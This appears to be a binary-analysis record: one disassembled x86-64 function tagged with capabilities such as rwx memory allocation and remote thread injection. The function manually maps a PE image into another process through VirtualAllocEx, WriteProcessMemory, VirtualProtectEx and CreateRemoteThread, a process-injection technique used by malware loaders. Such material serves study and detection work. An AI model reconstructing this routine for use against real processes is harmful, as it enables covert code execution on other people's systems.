Function at 0x287612f0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xf0
mov rax, qword [0x28780780]
xor rax, rsp
mov qword [rbp - 1], rax
mov r14, qword [rbp + 0x87]
mov eax, 0x5a4d
mov rdi, rdx
mov rbx, qword [0x287a06c0]
mov byte [rsp + 0x40], r9b
mov qword [rbp - 0x11], r8
cmp word [rdx], ax
jne 0x28761950
movsxd rsi, dword [rdx + 0x3c]
mov eax, 0x8664
add rsi, rdx
cmp word [rsi + 4], ax
jne 0x28761950
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor r13d, r13d
mov rcx, rbx
mov r12, rax
mov dword [rbp - 9], r13d
mov r8d, dword [rsi + 0x50]
lea rax, [rbp - 9]
mov rdx, r12
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x1000
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8, rdi
mov qword [rsp + 0x58], rax
mov rdx, r12
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x60], rax
mov eax, dword [rbp + 0x7f]
mov dword [rbp - 0x71], eax
movzx eax, byte [rbp + 0x77]
mov qword [rsp + 0x50], rcx
mov rcx, rbx
mov dword [rbp - 0x61], eax
mov qword [rbp - 0x79], r13
mov dword [rbp - 0x6d], r13d
mov dword [rbp - 0x5d], r13d
mov qword [rsp + 0x68], r12
mov qword [rbp - 0x69], r14
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x2876193b
movzx r14d, word [rsi + 0x14]
mov r15d, r13d
add r14, 0x2c
cmp word [rsi + 6], r13w
je 0x28761457
add r14, rsi
cmp dword [r14 - 4], r13d
je 0x28761447
mov r8d, dword [r14]
mov rcx, rbx
mov edx, dword [r14 - 8]
add r8, rdi
mov r9d, dword [r14 - 4]
add rdx, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x2876193b
movzx eax, word [rsi + 6]
inc r15d
add r14, 0x28
cmp r15d, eax
jne 0x2876141a
mov r13d, 0x3000
mov dword [rsp + 0x20], 4
mov edi, 0x40
mov r9d, r13d
mov r8d, edi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor r14d, r14d
mov r15, rax
test rax, rax
je 0x2876193b
mov r9d, r13d
mov dword [rsp + 0x20], edi
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x2876191c
mov r9d, 0x1000
mov qword [rsp + 0x20], r14
lea r8, [0x2876197c]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x287618eb
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x287a06d0], rax
test rax, rax
je 0x287618eb
mov r9d, edi
mov qword [rbp - 0x69], rax
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], r14
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x2876191c
mov qword [rsp + 0x30], r14
mov r9, r13
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x287618eb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x2879f45c], 0xffa
lea rcx, [0x287a06ba]
call fcn.28765818
test al, al
jne 0x287615de
lea rdx, [rbp - 0x19]
mov dword [rbp - 0x19], r14d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x19], 0x103
jne 0x28761950
mov r8, rdi
lea rcx, [rbp - 0x59]
xor edx, edx
call fcn.28773c30
mov r9, rdi
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x59]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdi, qword [rbp - 0x39]
cmp rdi, 0x404040
je 0x28761822
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
mov edi, 0x40
je 0x28761564
mov dl, 1
lea rcx, [0x287a06b9]
call fcn.28765838
lea rcx, [0x287a06bb]
call fcn.28765818
test al, al
je 0x287615ec
mov rdx, qword [0x287a06d0]
lea r8, [0x2879f450]
mov edi, 0x10
mov byte [0x2879f458], 1
mov r9d, edi
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [0x287a06d0]
lea r8, [0x2879f450]
mov r9, rdi
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [0x2879f459], 1
jne 0x28761627
mov rdi, qword [rbp - 0x11]
mov rcx, rdi
call fcn.28768030
mov r14, rax
test rax, rax
je 0x28761950
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.28773c30
xor edx, edx
cmp byte [rsp + 0x40], dl
je 0x287616a0
mov qword [rsp + 0x20], rdx
mov r9d, 0x1000
mov rdx, r12
mov r8, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
test eax, eax
je 0x28761950
cmp byte [rbp + 0x67], dl
je 0x28761743
movzx edi, word [rsi + 0x14]
mov ecx, edx
add rdi, 0x18
mov dword [rbp - 0x19], edx
add rdi, rsi
cmp word [rsi + 6], dx
je 0x28761743
cmp dword [rdi + 8], edx
je 0x28761732
cmp byte [rbp + 0x77], dl
jne 0x287616e0
lea rdx, [0x2877cbf4]
mov rcx, rdi
call fcn.28774710
test eax, eax
je 0x28761708
lea rdx, [0x2877cbfc]
mov rcx, rdi
call fcn.28774710
test eax, eax
je 0x28761708
lea rdx, str..reloc
mov rcx, rdi
call fcn.28774710
xor edx, edx
test eax, eax
jne 0x2876172f
mov edx, dword [rdi + 0xc]
xor eax, eax
mov r9d, dword [rdi + 8]
add rdx, r12
mov r8, r14
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
test eax, eax
je 0x28761950
mov ecx, dword [rbp - 0x19]
movzx eax, word [rsi + 6]
inc ecx
add rdi, 0x28
mov dword [rbp - 0x19], ecx
cmp ecx, eax
jne 0x287616c3
mov r9, qword [rbp - 0x11]
mov r8, r14
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x28761950
mov edi, 0x8000
xor r8d, r8d
mov r9d, edi
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor r13d, r13d
test eax, eax
je 0x28761950
mov r9d, edi
xor r8d, r8d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x28761950
mov rdx, qword [0x287a06d0]
lea r9d, [r13 + 0x10]
mov r8, r14
mov qword [rsp + 0x20], r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x28761950
mov rdx, qword [0x287a06d0]
mov r9d, edi
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x28761950
cmp byte [rbp + 0x6f], r13b
je 0x287618df
movzx edi, word [rsi + 0x14]
mov r15d, r13d
add rdi, 0x3c
cmp word [rsi + 6], r13w
je 0x287618b7
add rdi, rsi
cmp dword [rdi - 0x1c], r13d
je 0x287618a3
test dword [rdi], 0x80000000
mov dword [rbp - 0x19], r13d
jbe 0x2876186c
mov r9d, 4
jmp 0x2876187f
mov edi, 0x8000
xor r8d, r8d
mov r9d, edi
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
xor r8d, r8d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
xor r8d, r8d
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [0x287a06d0]
mov r9d, edi
jmp 0x28761944
test dword [rdi], 0x20000000
mov eax, 0x20
lea r9d, [rax - 0x1e]
cmova r9d, eax
mov edx, dword [rdi - 0x18]
lea rax, [rbp - 0x19]
mov r8d, dword [rdi - 0x1c]
add rdx, r12
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x28761950
movzx eax, word [rsi + 6]
inc r15d
add rdi, 0x28
cmp r15d, eax
jne 0x28761804
movzx ecx, word [rsi + 0x14]
mov r9d, 2
mov dword [rbp - 0x11], r13d
mov rdx, r12
mov r8d, dword [rcx + rsi + 0x24]
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, r14
call fcn.28767ba0
mov al, 1
jmp 0x28761952
mov edi, 0x8000
xor r8d, r8d
mov r9d, edi
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
xor r8d, r8d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
mov rdx, r13
jmp 0x28761944
mov edi, 0x8000
xor r8d, r8d
mov r9d, edi
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, edi
mov rdx, r15
jmp 0x28761944
mov r9d, 0x8000
mov rdx, r12
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.2876bde0
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret